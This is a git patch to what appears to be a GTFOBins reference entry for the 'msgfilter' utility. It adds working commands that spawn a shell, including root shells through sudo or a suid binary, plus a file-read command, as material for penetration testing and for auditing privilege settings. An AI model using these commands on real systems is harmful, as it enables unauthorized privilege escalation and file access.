From c014314b8330ad2c9a31bba81187e5adfacbceeb Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Fri, 4 Jun 2021 13:43:15 +0200 Subject: [PATCH] Add msgfilter shell --- _gtfobins/msgfilter.md | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) diff --git a/_gtfobins/msgfilter.md b/_gtfobins/msgfilter.md index 4f37319..1c0f415 100644 --- a/_gtfobins/msgfilter.md +++ b/_gtfobins/msgfilter.md @@ -1,16 +1,20 @@ --- -description: The file is parsed and displayed as a Java `.properties` file, so this may not be suitable to read arbitrary binary data. `/bin/cat` can be replaced with any other *filter* program. functions: + shell: + - description: Any text file will do as the input (use `-i`). `kill` is needed to spawn the shell only once. + code: | + echo x | msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID' file-read: - - code: | + - description: The file is parsed and displayed as a Java `.properties` file, so this may not be suitable to read arbitrary binary data. `/bin/cat` can be replaced with any other *filter* program. + code: | LFILE=file_to_read msgfilter -P -i "LFILE" /bin/cat sudo: - - code: | - LFILE=file_to_read - sudo msgfilter -P -i "LFILE" /bin/cat + - description: Any text file will do as the input (use `-i`). `kill` is needed to spawn the shell only once. + code: | + echo x | sudo msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID' suid: - - code: | - LFILE=file_to_read - ./msgfilter -P -i "LFILE" /bin/cat + - description: Any text file will do as the input (use `-i`). `kill` is needed to spawn the shell only once. + code: | + echo x | ./msgfilter -P /bin/sh -p -c '/bin/sh -p 0<&2 1>&2; kill $PPID' ---